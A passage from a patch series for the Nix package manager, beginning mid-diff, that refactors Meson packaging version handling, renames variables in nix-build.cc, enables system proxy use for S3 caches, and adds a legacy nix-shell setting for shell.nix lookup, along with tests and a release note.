(mkMesonDerivation (finalAttrs: { pname = "nix-perl"; version = lib.fileContents ./.version + versionSuffix; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions ([ - ./MANIFEST - ./lib - ./meson.build - ./meson.options - ] ++ lib.optionals finalAttrs.doCheck [ - ./.yath.rc.in - ./t - ]); - }; + workDir = ./.; + fileset = fileset.unions ([ + ./.version + ../../.version + ./MANIFEST + ./lib + ./meson.build + ./meson.options + ] ++ lib.optionals finalAttrs.doCheck [ + ./.yath.rc.in + ./t + ]); nativeBuildInputs = [ meson ninja pkg-config perl + curl ]; buildInputs = [ nix-store + bzip2 + libsodium ]; # `perlPackages.Test2Harness` is marked broken for Darwin @@ -52,6 +59,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { preConfigure = # "Inline" .version so its not a symlink, and includes the suffix '' + chmod u+w .version echo ${finalAttrs.version} > .version ''; From 0729f0a113cb28369f492f16bb9f92c1d628e58f Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 17:36:31 +0200 Subject: [PATCH 1000/1251] packaging: Pass version directly --- packaging/dependencies.nix | 1 + src/external-api-docs/package.nix | 4 ++-- src/internal-api-docs/package.nix | 4 ++-- src/libcmd/package.nix | 4 +--- src/libexpr-c/package.nix | 4 +--- src/libexpr/package.nix | 4 +--- src/libfetchers/package.nix | 4 +--- src/libflake/package.nix | 4 +--- src/libmain/package.nix | 4 +--- src/libstore-c/package.nix | 4 +--- src/libstore/package.nix | 4 +--- src/libutil-c/package.nix | 4 +--- src/libutil/package.nix | 4 +--- src/perl/package.nix | 4 ++-- tests/unit/libexpr-support/package.nix | 4 +--- tests/unit/libexpr/package.nix | 4 +--- tests/unit/libfetchers/package.nix | 4 +--- tests/unit/libflake/package.nix | 4 +--- tests/unit/libstore-support/package.nix | 4 +--- tests/unit/libstore/package.nix | 4 +--- tests/unit/libutil-support/package.nix | 4 +--- tests/unit/libutil/package.nix | 4 +--- 22 files changed, 25 insertions(+), 60 deletions(-) diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index 909a0a38e..78a857d85 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -40,6 +40,7 @@ let in scope: { inherit stdenv versionSuffix; + version = lib.fileContents ../.version + versionSuffix; libseccomp = pkgs.libseccomp.overrideAttrs (_: rec { version = "2.5.5"; diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix index 7fd6a988a..da136bbe1 100644 --- a/src/external-api-docs/package.nix +++ b/src/external-api-docs/package.nix @@ -7,7 +7,7 @@ # Configuration Options -, versionSuffix ? "" +, version }: let @@ -16,7 +16,7 @@ in mkMesonDerivation (finalAttrs: { pname = "nix-external-api-docs"; - version = lib.fileContents ./.version + versionSuffix; + inherit version; workDir = ./.; fileset = diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix index 44ddb00ab..f2077dcaf 100644 --- a/src/internal-api-docs/package.nix +++ b/src/internal-api-docs/package.nix @@ -7,7 +7,7 @@ # Configuration Options -, versionSuffix ? "" +, version }: let @@ -16,7 +16,7 @@ in mkMesonDerivation (finalAttrs: { pname = "nix-internal-api-docs"; - version = lib.fileContents ./.version + versionSuffix; + inherit version; workDir = ./.; fileset = let diff --git a/src/libcmd/package.nix b/src/libcmd/package.nix index 5e6381a17..ec3aa4660 100644 --- a/src/libcmd/package.nix +++ b/src/libcmd/package.nix @@ -20,7 +20,7 @@ # Configuration Options -, versionSuffix ? "" +, version # Whether to enable Markdown rendering in the Nix binary. , enableMarkdown ? !stdenv.hostPlatform.isWindows @@ -36,8 +36,6 @@ let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix index b445a8187..0b895437b 100644 --- a/src/libexpr-c/package.nix +++ b/src/libexpr-c/package.nix @@ -11,13 +11,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix index d4296bc07..704456c96 100644 --- a/src/libexpr/package.nix +++ b/src/libexpr/package.nix @@ -20,7 +20,7 @@ # Configuration Options -, versionSuffix ? "" +, version # Whether to use garbage collection for the Nix language evaluator. # @@ -36,8 +36,6 @@ let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index 7786a4f35..b4abb144b 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -15,13 +15,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libflake/package.nix b/src/libflake/package.nix index f0609d5d5..af6f5da94 100644 --- a/src/libflake/package.nix +++ b/src/libflake/package.nix @@ -17,13 +17,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libmain/package.nix b/src/libmain/package.nix index f6c92bac6..bbd97ec3e 100644 --- a/src/libmain/package.nix +++ b/src/libmain/package.nix @@ -14,13 +14,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix index c14cf955d..fc34c1bda 100644 --- a/src/libstore-c/package.nix +++ b/src/libstore-c/package.nix @@ -12,13 +12,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libstore/package.nix b/src/libstore/package.nix index df92b5b28..0a2ace91e 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -20,15 +20,13 @@ # Configuration Options -, versionSuffix ? "" +, version , embeddedSandboxShell ? stdenv.hostPlatform.isStatic }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix index f92cb036c..53451998d 100644 --- a/src/libutil-c/package.nix +++ b/src/libutil-c/package.nix @@ -11,13 +11,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/libutil/package.nix b/src/libutil/package.nix index 74d4d7853..28d7d8f0e 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -17,13 +17,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/src/perl/package.nix b/src/perl/package.nix index 08ceaa33e..26856e631 100644 --- a/src/perl/package.nix +++ b/src/perl/package.nix @@ -8,7 +8,7 @@ , pkg-config , nix-store , darwin -, versionSuffix ? "" +, version , curl , bzip2 , libsodium @@ -20,7 +20,7 @@ in perl.pkgs.toPerlModule (mkMesonDerivation (finalAttrs: { pname = "nix-perl"; - version = lib.fileContents ./.version + versionSuffix; + inherit version; workDir = ./.; fileset = fileset.unions ([ diff --git a/tests/unit/libexpr-support/package.nix b/tests/unit/libexpr-support/package.nix index f32cf2615..0c966c55a 100644 --- a/tests/unit/libexpr-support/package.nix +++ b/tests/unit/libexpr-support/package.nix @@ -14,13 +14,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix index 1667dc77e..6394b595d 100644 --- a/tests/unit/libexpr/package.nix +++ b/tests/unit/libexpr/package.nix @@ -17,13 +17,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix index e9daacaeb..563481cc5 100644 --- a/tests/unit/libfetchers/package.nix +++ b/tests/unit/libfetchers/package.nix @@ -16,13 +16,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix index c2bcc8eb8..15bf44907 100644 --- a/tests/unit/libflake/package.nix +++ b/tests/unit/libflake/package.nix @@ -16,13 +16,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libstore-support/package.nix b/tests/unit/libstore-support/package.nix index f3a5bfc82..cb15cdd5f 100644 --- a/tests/unit/libstore-support/package.nix +++ b/tests/unit/libstore-support/package.nix @@ -14,13 +14,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix index 663e8ba43..2de8af103 100644 --- a/tests/unit/libstore/package.nix +++ b/tests/unit/libstore/package.nix @@ -18,13 +18,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix index 431fe91c6..fdecdec72 100644 --- a/tests/unit/libutil-support/package.nix +++ b/tests/unit/libutil-support/package.nix @@ -13,13 +13,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix index 6bfa571d8..ad5ff7d1e 100644 --- a/tests/unit/libutil/package.nix +++ b/tests/unit/libutil/package.nix @@ -17,13 +17,11 @@ # Configuration Options -, versionSuffix ? "" +, version }: let inherit (lib) fileset; - - version = lib.fileContents ./.version + versionSuffix; in mkMesonDerivation (finalAttrs: { From da4c55995b9fd355c72cca2f47bdbe1d163de454 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 19:15:53 +0200 Subject: [PATCH 1001/1251] ci.yml: Build non unit-tested components in meson_build --- .github/workflows/ci.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c4939dd11..ca94ff956 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -205,4 +205,6 @@ jobs: - uses: actions/checkout@v4 - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - - run: nix build -L .#hydraJobs.build.{nix-fetchers,nix-store,nix-util}.$(nix-instantiate --eval --expr builtins.currentSystem | sed -e 's/"//g') + # Only meson packages that don't have a tests.run derivation. + # Those that have it are already built and tested as part of nix flake check. + - run: nix build -L .#hydraJobs.build.{nix-cmd,nix-main}.$(nix-instantiate --eval --expr builtins.currentSystem | sed -e 's/"//g') From bea54d116e572366b21bcbdeb85d567df00ef4a4 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 17:49:58 +0200 Subject: [PATCH 1002/1251] Add resolvePath, filesetToSource indirections for Nixpkgs --- packaging/dependencies.nix | 11 ++++++++++- tests/unit/libexpr/package.nix | 3 ++- tests/unit/libfetchers/package.nix | 3 ++- tests/unit/libflake/package.nix | 3 ++- tests/unit/libstore/package.nix | 3 ++- 5 files changed, 18 insertions(+), 5 deletions(-) diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index 78a857d85..34b344971 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -14,9 +14,16 @@ let inherit (pkgs) lib; + root = ../.; + + # Nixpkgs implements this by returning a subpath into the fetched Nix sources. + resolvePath = p: p; + + # Indirection for Nixpkgs to override when package.nix files are vendored + filesetToSource = lib.fileset.toSource; + localSourceLayer = finalAttrs: prevAttrs: let - root = ../.; workDirPath = # Ideally we'd pick finalAttrs.workDir, but for now `mkDerivation` has # the requirement that everything except passthru and meta must be @@ -104,5 +111,7 @@ scope: { meta.platforms = lib.platforms.all; }); + inherit resolvePath filesetToSource; + mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f); } diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix index 6394b595d..6b7e12c4a 100644 --- a/tests/unit/libexpr/package.nix +++ b/tests/unit/libexpr/package.nix @@ -18,6 +18,7 @@ # Configuration Options , version +, resolvePath }: let @@ -84,7 +85,7 @@ mkMesonDerivation (finalAttrs: { run = runCommand "${finalAttrs.pname}-run" { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" - export _NIX_TEST_UNIT_DATA=${./data} + export _NIX_TEST_UNIT_DATA=${resolvePath ./data} nix-expr-tests touch $out ''; diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix index 563481cc5..9522f9639 100644 --- a/tests/unit/libfetchers/package.nix +++ b/tests/unit/libfetchers/package.nix @@ -17,6 +17,7 @@ # Configuration Options , version +, resolvePath }: let @@ -82,7 +83,7 @@ mkMesonDerivation (finalAttrs: { run = runCommand "${finalAttrs.pname}-run" { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" - export _NIX_TEST_UNIT_DATA=${./data} + export _NIX_TEST_UNIT_DATA=${resolvePath ./data} nix-fetchers-tests touch $out ''; diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix index 15bf44907..859bc49d0 100644 --- a/tests/unit/libflake/package.nix +++ b/tests/unit/libflake/package.nix @@ -17,6 +17,7 @@ # Configuration Options , version +, resolvePath }: let @@ -82,7 +83,7 @@ mkMesonDerivation (finalAttrs: { run = runCommand "${finalAttrs.pname}-run" { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" - export _NIX_TEST_UNIT_DATA=${./data} + export _NIX_TEST_UNIT_DATA=${resolvePath ./data} nix-flake-tests touch $out ''; diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix index 2de8af103..efffd0063 100644 --- a/tests/unit/libstore/package.nix +++ b/tests/unit/libstore/package.nix @@ -19,6 +19,7 @@ # Configuration Options , version +, filesetToSource }: let @@ -86,7 +87,7 @@ mkMesonDerivation (finalAttrs: { run = let # Some data is shared with the functional tests: they create it, # we consume it. - data = lib.fileset.toSource { + data = filesetToSource { root = ../..; fileset = lib.fileset.unions [ ./data From 13181356fc6fc3fa7e5f8ac98da6a2f28cb50003 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 20:01:46 +0200 Subject: [PATCH 1003/1251] Refactor: rename runEnv -> isNixShell --- src/nix-build/nix-build.cc | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 57630c8c3..d0b3b4f9f 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -93,7 +93,7 @@ static std::vector shellwords(const std::string & s) static void main_nix_build(int argc, char * * argv) { auto dryRun = false; - auto runEnv = std::regex_search(argv[0], std::regex("nix-shell$")); + auto isNixShell = std::regex_search(argv[0], std::regex("nix-shell$")); auto pure = false; auto fromArgs = false; auto packages = false; @@ -107,7 +107,7 @@ static void main_nix_build(int argc, char * * argv) std::string envCommand; // interactive shell Strings envExclude; - auto myName = runEnv ? "nix-shell" : "nix-build"; + auto myName = isNixShell ? "nix-shell" : "nix-build"; auto inShebang = false; std::string script; @@ -132,7 +132,7 @@ static void main_nix_build(int argc, char * * argv) // Heuristic to see if we're invoked as a shebang script, namely, // if we have at least one argument, it's the name of an // executable file, and it starts with "#!". - if (runEnv && argc > 1) { + if (isNixShell && argc > 1) { script = argv[1]; try { auto lines = tokenizeString(readFile(script), "\n"); @@ -186,9 +186,9 @@ static void main_nix_build(int argc, char * * argv) dryRun = true; else if (*arg == "--run-env") // obsolete - runEnv = true; + isNixShell = true; - else if (runEnv && (*arg == "--command" || *arg == "--run")) { + else if (isNixShell && (*arg == "--command" || *arg == "--run")) { if (*arg == "--run") interactive = false; envCommand = getArg(*arg, arg, end) + "\nexit"; @@ -206,7 +206,7 @@ static void main_nix_build(int argc, char * * argv) else if (*arg == "--pure") pure = true; else if (*arg == "--impure") pure = false; - else if (runEnv && (*arg == "--packages" || *arg == "-p")) + else if (isNixShell && (*arg == "--packages" || *arg == "-p")) packages = true; else if (inShebang && *arg == "-i") { @@ -266,7 +266,7 @@ static void main_nix_build(int argc, char * * argv) auto autoArgs = myArgs.getAutoArgs(*state); auto autoArgsWithInNixShell = autoArgs; - if (runEnv) { + if (isNixShell) { auto newArgs = state->buildBindings(autoArgsWithInNixShell->size() + 1); newArgs.alloc("inNixShell").mkBool(true); for (auto & i : *autoArgs) newArgs.insert(i); @@ -282,13 +282,13 @@ static void main_nix_build(int argc, char * * argv) fromArgs = true; left = {joined.str()}; } else if (!fromArgs) { - if (left.empty() && runEnv && pathExists("shell.nix")) + if (left.empty() && isNixShell && pathExists("shell.nix")) left = {"shell.nix"}; if (left.empty()) left = {"default.nix"}; } - if (runEnv) + if (isNixShell) setEnv("IN_NIX_SHELL", pure ? "pure" : "impure"); PackageInfos drvs; @@ -330,7 +330,7 @@ static void main_nix_build(int argc, char * * argv) std::function takesNixShellAttr; takesNixShellAttr = [&](const Value & v) { - if (!runEnv) { + if (!isNixShell) { return false; } bool add = false; @@ -381,7 +381,7 @@ static void main_nix_build(int argc, char * * argv) store->buildPaths(paths, buildMode, evalStore); }; - if (runEnv) { + if (isNixShell) { if (drvs.size() != 1) throw UsageError("nix-shell requires a single derivation"); From 5c367ece895601a90ef4f38547e7cd84ce5d83d5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 20:03:30 +0200 Subject: [PATCH 1004/1251] Refactor: rename left -> remainingArgs --- src/nix-build/nix-build.cc | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index d0b3b4f9f..faa9e5fae 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -100,7 +100,7 @@ static void main_nix_build(int argc, char * * argv) // Same condition as bash uses for interactive shells auto interactive = isatty(STDIN_FILENO) && isatty(STDERR_FILENO); Strings attrPaths; - Strings left; + Strings remainingArgs; BuildMode buildMode = bmNormal; bool readStdin = false; @@ -246,7 +246,7 @@ static void main_nix_build(int argc, char * * argv) return false; else - left.push_back(*arg); + remainingArgs.push_back(*arg); return true; }); @@ -276,16 +276,16 @@ static void main_nix_build(int argc, char * * argv) if (packages) { std::ostringstream joined; joined << "{...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) \"shell\" { buildInputs = [ "; - for (const auto & i : left) + for (const auto & i : remainingArgs) joined << '(' << i << ") "; joined << "]; } \"\""; fromArgs = true; - left = {joined.str()}; + remainingArgs = {joined.str()}; } else if (!fromArgs) { - if (left.empty() && isNixShell && pathExists("shell.nix")) - left = {"shell.nix"}; - if (left.empty()) - left = {"default.nix"}; + if (remainingArgs.empty() && isNixShell && pathExists("shell.nix")) + remainingArgs = {"shell.nix"}; + if (remainingArgs.empty()) + remainingArgs = {"default.nix"}; } if (isNixShell) @@ -299,7 +299,7 @@ static void main_nix_build(int argc, char * * argv) if (readStdin) exprs = {state->parseStdin()}; else - for (auto i : left) { + for (auto i : remainingArgs) { if (fromArgs) exprs.push_back(state->parseExprFromString(std::move(i), state->rootPath("."))); else { From e9479b272faaf00068348e7df8de7f50dce58113 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 20:51:45 +0200 Subject: [PATCH 1005/1251] nix-build.cc: Refactor: extract baseDir variable --- src/nix-build/nix-build.cc | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index faa9e5fae..648917444 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -310,14 +310,17 @@ static void main_nix_build(int argc, char * * argv) auto [path, outputNames] = parsePathWithOutputs(absolute); if (evalStore->isStorePath(path) && hasSuffix(path, ".drv")) drvs.push_back(PackageInfo(*state, evalStore, absolute)); - else + else { /* If we're in a #! script, interpret filenames relative to the script. */ + auto baseDir = inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i; + exprs.push_back( state->parseExprFromFile( resolveExprPath( lookupFileArg(*state, - inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i)))); + baseDir)))); + } } } From 76245ffbebc8466ac17d241fceda6dcb9ec7c23e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 20:55:27 +0200 Subject: [PATCH 1006/1251] nix-build.cc: Refactor: extract sourcePath, resolvedPath variables --- src/nix-build/nix-build.cc | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 648917444..e873f712b 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -315,11 +315,11 @@ static void main_nix_build(int argc, char * * argv) relative to the script. */ auto baseDir = inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i; - exprs.push_back( - state->parseExprFromFile( - resolveExprPath( - lookupFileArg(*state, - baseDir)))); + auto sourcePath = lookupFileArg(*state, + baseDir); + auto resolvedPath = resolveExprPath(sourcePath); + + exprs.push_back(state->parseExprFromFile(resolvedPath)); } } } From 514062c227f16af1410c9b2b12ede6c9f2069223 Mon Sep 17 00:00:00 2001 From: Romain NEIL Date: Sat, 6 Jul 2024 21:46:58 +0200 Subject: [PATCH 1007/1251] feat: configure aws s3 lib to use system defined proxy, if existent --- src/libstore/s3-binary-cache-store.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index e9850dce6..27013c0f1 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -132,6 +132,7 @@ ref S3Helper::makeConfig( { initAWS(); auto res = make_ref(); + res->allowSystemProxy = true; res->region = region; if (!scheme.empty()) { res->scheme = Aws::Http::SchemeMapper::FromString(scheme.c_str()); From 32fb127b9cbaf833027e646de5ee5198a62b6995 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 22:58:15 +0200 Subject: [PATCH 1008/1251] Add legacy setting: nix-shell-always-looks-for-shell-nix --- src/libcmd/common-eval-args.cc | 7 +++++++ src/libcmd/common-eval-args.hh | 6 ++++++ src/libcmd/meson.build | 1 + src/nix-build/nix-build.cc | 23 ++++++++++++++++++----- tests/functional/nix-shell.sh | 9 +++++++++ 5 files changed, 41 insertions(+), 5 deletions(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 01546f9a0..62745b681 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -11,6 +11,8 @@ #include "command.hh" #include "tarball.hh" #include "fetch-to-store.hh" +#include "compatibility-settings.hh" +#include "eval-settings.hh" namespace nix { @@ -33,6 +35,11 @@ EvalSettings evalSettings { static GlobalConfig::Register rEvalSettings(&evalSettings); +CompatibilitySettings compatibilitySettings {}; + +static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings); + + MixEvalArgs::MixEvalArgs() { addFlag({ diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 189abf0ed..8d303ee7c 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -13,6 +13,7 @@ namespace nix { class Store; class EvalState; struct EvalSettings; +struct CompatibilitySettings; class Bindings; struct SourcePath; @@ -21,6 +22,11 @@ struct SourcePath; */ extern EvalSettings evalSettings; +/** + * Settings that control behaviors that have changed since Nix 2.3. + */ +extern CompatibilitySettings compatibilitySettings; + struct MixEvalArgs : virtual Args, virtual MixRepair { static constexpr auto category = "Common evaluation options"; diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build index d9a90508a..2c8a9fa33 100644 --- a/src/libcmd/meson.build +++ b/src/libcmd/meson.build @@ -97,6 +97,7 @@ headers = [config_h] + files( 'command-installable-value.hh', 'command.hh', 'common-eval-args.hh', + 'compatibility-settings.hh', 'editor-for.hh', 'installable-attr-path.hh', 'installable-derived-path.hh', diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 30cc86456..d37b16bdc 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -26,6 +26,7 @@ #include "legacy.hh" #include "users.hh" #include "network-proxy.hh" +#include "compatibility-settings.hh" using namespace nix; using namespace std::string_literals; @@ -100,7 +101,13 @@ static SourcePath resolveShellExprPath(SourcePath path) auto resolvedOrDir = resolveExprPath(path, false); if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { if ((resolvedOrDir / "shell.nix").pathExists()) { - return resolvedOrDir / "shell.nix"; + if (compatibilitySettings.nixShellAlwaysLooksForShellNix) { + return resolvedOrDir / "shell.nix"; + } else { + warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", + resolvedOrDir / "shell.nix", + "nix-shell-always-looks-for-shell-nix"); + } } if ((resolvedOrDir / "default.nix").pathExists()) { return resolvedOrDir / "default.nix"; @@ -302,11 +309,17 @@ static void main_nix_build(int argc, char * * argv) fromArgs = true; remainingArgs = {joined.str()}; } else if (!fromArgs && remainingArgs.empty()) { - remainingArgs = {"."}; + if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) { + // If we're in 2.3 compatibility mode, we need to look for shell.nix + // now, because it won't be done later. + remainingArgs = {"shell.nix"}; + } else { + remainingArgs = {"."}; - // Instead of letting it throw later, we throw here to give a more relevant error message - if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) - throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + } } if (isNixShell) diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index b7a7db27c..2a1d556dd 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -21,6 +21,10 @@ output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \ [ "$output" = " - foo - bar - true" ] +output=$(nix-shell --pure "$shellDotNix" -A shellDrv --option nix-shell-always-looks-for-shell-nix false --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') +[ "$output" = " - foo - bar - true" ] + # Test --keep output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \ 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"') @@ -101,6 +105,11 @@ nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet # https://github.com/NixOS/nix/issues/4529 nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet -F "do not load default.nix!" # we did, because we chose to enable legacy behavior +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet "Skipping .*lookup-test/shell\.nix.*, because the setting .*nix-shell-always-looks-for-shell-nix.* is disabled. This is a deprecated behavior\. Consider enabling .*nix-shell-always-looks-for-shell-nix.*" + ( cd $TEST_ROOT/empty; expectStderr 1 nix-shell | \ From a22f8b5276162a87072eee7f0febc0a216f4fa9b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 23:02:32 +0200 Subject: [PATCH 1009/1251] rl-next: Add note about shell.nix lookups --- .../rl-next/nix-shell-looks-for-shell-nix.md | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 doc/manual/rl-next/nix-shell-looks-for-shell-nix.md diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md new file mode 100644 index 000000000..1f44ba33c --- /dev/null +++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md @@ -0,0 +1,26 @@ +--- +synopsis: "`nix-shell ` looks for `shell.nix`" +significance: significant +issues: +- 496 +- 2279 +- 4529 +- 5431 +- 11053 +--- + +`nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. + +Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. +This adjustment addresses a commonly reported problem. + +This also applies to `nix-shell` shebang 